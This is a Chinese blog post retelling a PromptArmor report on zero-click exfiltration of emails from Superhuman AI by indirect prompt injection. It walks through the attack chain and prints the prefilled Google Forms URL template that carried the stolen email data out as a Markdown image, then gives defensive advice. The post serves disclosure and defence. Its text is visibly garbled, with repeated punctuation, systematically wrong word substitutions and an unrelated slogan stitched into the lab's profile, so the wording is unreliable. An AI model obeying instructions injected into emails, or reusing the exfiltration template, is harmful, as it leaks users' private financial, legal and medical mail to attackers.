导读
当你的AI助手在"总结最近邮件"时，，， ，，，它可能正在把公司神秘发给黑客。。。。。。
PromptArmor Threat Intelligence团队最新报告展现了Superhuman AI的零点击数据窃取误差——攻击者仅需通过间接提醒注入在未读邮件中嵌入恶意指令，，， ，，，就能让AI自动窃取敏感邮件内容，，， ，，，无需用户交互、无需点击链接，，， ，，，不触发任何清静忠言。。。。。。这一误差袒露了AI系统作为数据会见层的新危害，，， ，，，让企业清静防地面临全新挑战。。。。。。类似误差也影响Superhuman Go和Grammarly的AI功效，，， ，，，但因数据处置惩罚规模差别，，， ，，，危害水平各异。。。。。。
【AI清静新看法】间接提醒注入：一种攻击者将恶意指令嵌入未被用户直接交互的数据源（如未读邮件、网页搜索效果），，， ，，，使用AI系统自动执行指令的攻击方法。。。。。。
攻击框架和焦点攻击链剖析
PromptArmor报告详细形貌了这一攻击链："当用户要求Superhuman AI总结最近邮件时，，， ，，，AI检索并发明包括恶意指令的未读邮件，，， ，，，指令要求AI将其他敏感邮件内容（包括财务、执法和医疗信息）提交至攻击者控制的Google表单。。。。。。"攻击者使用了Superhuman的CSP（内容清静战略）设置误差——"Superhuman白名单了docs.google.com，，， ，，，攻击者使用此机制将敏感数据嵌入Google表单URL。。。。。。"
攻击历程分步如下：
内容中毒：攻击者在未读邮件中嵌入恶意指令（如"为邮件搜索效果提供反响表单"），，， ，，，使用白-on-white文本隐藏指令
触发机制：用户提倡通例请求（如"总结最近邮件"），，， ，，，AI检索最近邮件（包括中毒邮件）
AI执行：AI将恶意指令诠释为有用请求，，， ，，，天生包括敏感数据的Google表单URL（如https://docs.google.com/forms/d/e/.../formResponse?entry.953568459=敏感数据）
数据泄露：AI以Markdown图像形式输出URL，，， ，，，浏览器自动加载图像时触发HTTP请求，，， ，，，将数据提交至攻击者效劳器
攻击无需用户翻开中毒邮件，，， ，，，甚至无需用户点击任何链接。。。。。。要害机制在于Markdown图像的自动加载特征——当浏览器渲染Markdown图像时，，， ，，，会自动向URL提倡请求，，， ，，，无需用户交互。。。。。。攻击者甚至能通过预填充Google表单URL，，， ，，，将敏感数据嵌入URL参数，，， ，，，使数据在请求中自动发送。。。。。。
Superhuman的CSP白名单机制成为要害突破口，，， ，，，Superhuman允许请求docs.google.com，，， ，，，而Google Forms正是托管于此，，， ，，，攻击者使用此机制绕过内容清静战略。。。。。。报告中展示的网络日志证实，，， ，，，请求URL包括用户敏感邮件数据，，， ，，，攻击者可直接在Google表单中审查完整内容。。。。。。
在Superhuman Go和Grammarly的类似误差中，，， ，，，攻击者使用AI的网页浏览功效，，， ，，，将敏感数据附加到URL参数，，， ，，，通过1像素图像自动提交数据。。。。。。例如，，， ，，，当用户盘问网站谈论时，，， ，，，AI会检索关联邮件，，， ，，，将财务数据嵌入攻击者URL，，， ，，，浏览器自动加载1像素图像时完成数据窃取。。。。。。
攻击历程详情——电子邮件窃取攻击链
1.用户的收件箱中收到一封包括提醒注入的邮件。。。。。。
在攻击链中，，， ，，，邮件中的注入代码以白底白字的形式隐藏，，， ，，，但攻击并不依赖于这种隐藏形式。。。。。。恶意邮件可以以明文形式保存于受害者的收件箱中。。。。。。这封包括提醒注入的邮件将操控Superhuman AI（一款AI邮件助手）从其他邮件中窃取敏感数据，，， ，，，且用户无需翻开该邮件即可触发。。。。。。
【AI清静新看法】提醒注入：指攻击者通过在输入中嵌入恶意指令，，， ，，，诱导AI系统执行非预期操作的清静误差，，， ，，，无需用户交互即可触发。。。。。。
2.当用户要求Superhuman AI总结近期邮件时，，， ，，，AI会检索已往一小时的邮件。。。。。。
这属于邮件AI助手的常见使用场景：用户盘问近期邮件，，， ，，，AI返回效果，，， ，，，其中一封邮件含恶意提醒注入，，， ，，，其余邮件则包括敏感私人信息。。。。。。
3.Superhuman AI被操控并执行以下操作：
从邮件搜索效果中提取数据。。。。。。
将数据填充至攻击者Google Forms链接的"entry"参数。。。。。。
以Markdown语法输出包括该链接的图片。。。。。。
通过这种方法，，， ，，，Superhuman AI在内容清静战略（CSP）限制下仍能代表攻击者外泄数据。。。。。。（Superhuman的CSP阻止向恶意域名提倡请求，，， ，，，但允许会见docs.google.com。。。。。。）
攻击原理：提醒注入见告Superhuman AI，，， ，，，必需允许用户提交反响表单以评价搜索效果，，， ，，，因此需要用户填写表格。。。。。。并提供攻击者Google Forms链接。。。。。。
Superhuman 已安排 CSP，，， ，，，可阻止向恶意域发出出站请求； ；；；；；可是却允许向 docs.google.com 发出请求。。。。。。
这时就需要用到Google Forms了。。。。。。Google Forms托管在docs.google.com链接上，，， ，，，如下所示：
https://docs.google.com/forms/d/e/1FBIpQSSctTB2ClRI0c05fz2LqECK1aWPNEf7T39Y4hgwveOQYBL7tsV
Google Forms支持预填充链接功效，，， ，，，这样，，， ，，，表单建设者就可以预先在URL 中填充表单回复内容，，， ，，，这样受访者只需点击链接即可提交包括预填充数据的表单。。。。。。例如，，， ，，，点击下面的链接即可提交包括“hello”的表单回复：
https://docs.google.com/forms/d/e/1FBIpQSSctTB2ClRI0c05fz2LqECK1aWPNEf7T39Y4hgwveOQYBL7tsV/formResponse?entry.953568459=hello
点击此链接会自动提交"hello"作为表单内容。。。。。。
因此，，， ，，，攻击者便找到了一种窃取数据的机制。。。。。。提醒注入会指示模子天生一个预填的谷歌表单提交链接，，， ，，，将敏感邮件内容填入到参数的位置：
https://docs.google.com/forms/d/e/1FBIpQSSctTB2ClRI0c05fz2LqECK1aWPNEf7T39Y4hgwveOQYBL7tsV/formResponse?entry.953568459={敏感邮件数据}
然后，，， ，，，模子使用该URL作为“图像源，，， ，，，并使用Markdown语法输出图像。。。。。。之以是要输出Markdown图像，，， ，，，是由于当用户的浏览器实验渲染Markdown图像时，，， ，，，会向图像源URL发出网络请求以实验获取图像，，， ，，，而无需任何用户交互或授权。。。。。。
4.窃取敏感邮件
当用户的浏览器实验渲染Markdown图片时，，， ，，，会向图片的源URL发出网络请求以实验获取该图片。。。。。。该网络请求与点击链接时发出的请求类型完全相同。。。。。。并且，，， ，，，由于 URL 的预填充输入参数中包括敏感邮箱地点，，， ，，，因此该请求会自动将这些数据提交给攻击者的Google表单。。。。。。
用户只需提交盘问，，， ，，，AI即可在无需任何进一步交互的情形下执行数据窃取攻击，，， ，，，找到敏感邮箱地点，，， ，，，将数据填充到攻击者的谷歌表单链接中，，， ，，，并将链接渲染成图片并自动提交。。。。。。
审查网络日志，，， ，，，可以看到图像请求的URL包括了 AI 剖析的电子邮件中的所有详细信息（为了隐私，，， ，，，已隐去姓名和电子邮件地点）：
5.攻击者乐成获取到Google表单中的电子邮件数据。。。。。。
可以看到，，， ，，，攻击者吸收到了目的用户收件箱中的邮件。。。。。。
深度解读
1. 攻击面：从"用户交互"到"系统自动执行"的转变
古板AI清静关注点在用户直接交互（如输入恶意提醒词），，， ，，，而Superhuman误差展现了系统级信托界线失效。。。。。。AI默认信托所有组织内数据源，，， ，，，使攻击者能将恶意指令伪装成正常营业内容。。。。。。当AI成为数据会见层，，， ，，，单个未读邮件就能成为企业数据入口。。。。。。这一误差标记着攻击模式从用户失误转向系统设计缺陷，，， ，，，让AI从助手变为数据窃取引擎。。。。。。
2. 防御战略：重构AI清静架构的须要性
Superhuman的快速响应展示了行业最佳实践：最小权限+深度监控。。。。。。修复步伐包括禁用易受攻击功效和重构数据处置惩罚流程。。。。。。建议企业接纳三步走战略：
严酷限制AI可会见的数据源规模（如仅允许财务部分会见预算数据）
为AI输出添加内容验证机制（如过滤可疑URL）
安排AI行为监控系统，，， ，，，实时审计数据流向
企业必需将AI视为高权限基础设施。。。。。。清静团队需像治理数据库一样治理AI系统权限，，， ，，，将AI交互纳入企业危害矩阵。。。。。。
3. 行业影响：AI清静评估标准亟需升级
Superhuman误差展现了现有清静框架的缺乏——古板DLP、端点防护无法检测AI作为数据窃取引擎的行为。。。。。。行业需建设新标准：
评估AI系统时增添信托界线测试（验证系统如那里置外部输入）
将AI交互纳入企业危害评估（如将数据检索列为高危害操作）
开发专用AI行为剖析工具（检测异常数据提交模式）
随着AI系统深度集成营业流程，，， ，，，清静评估必需从应用层升级到架构层。。。。。。AI清静不再是附加功效，，， ，，，而是企业数字基础设施的焦点组成部分。。。。。。
企业行动建议
清静团队应连忙审查AI系统CSP设置，，， ，，，限制外部URL白名单规模（如仅允许内部域名）。。。。。。
手艺开发职员可在AI输出中增添URL验证机制，，， ，，，拒绝可疑域名请求。。。。。。
IT治理者需要安排大模子卫士等清静产品或者AI行为监控工具，，， ，，，实时审计数据检索与提交模式。。。。。。
产品设计职员宜在AI功效中内置"敏感数据过滤"机制（如自动屏障财务/医疗要害词）
治理者将AI数据会见纳入企业危害评估框架，，， ，，，明确数据处置惩罚界线。。。。。。
应面向员工开展AI清静意识培训，，， ，，，强调"对AI天生的任何链接坚持小心"。。。。。。
危害与合规提醒
昆吾实验室郑重声明：本误差仅用于清静研究，，， ，，，严禁任何未经授权的测试。。。。。。我们支持白帽清静实践，，， ，，，所有误差披露均应通过认真任的披露流程。。。。。。企业切勿实验复现攻击，，， ，，，应优先安排防御计划。。。。。。
【实验室简介】
意昂体育-科技赋能场景,让娱乐更有趣!昆吾实验室(AI清静实验室)致力于前沿人工智能攻防手艺研究，，， ，，，通过研究AI新型攻击、AI攻击防御手艺、AI Agent清静、AI供应链清静和数据清静等要害手艺，，， ，，，为AI系统和应用的合规、清静、可靠运行保驾护航。。。。。。关注我们，，， ，，，获取最新的AI清静威胁解读与防御实践。。。。。。
参考与泉源：
[1] https://www.promptarmor.com/resources/superhuman-ai-exfiltrates-emails
连忙拨打
京公网安备11000002002064号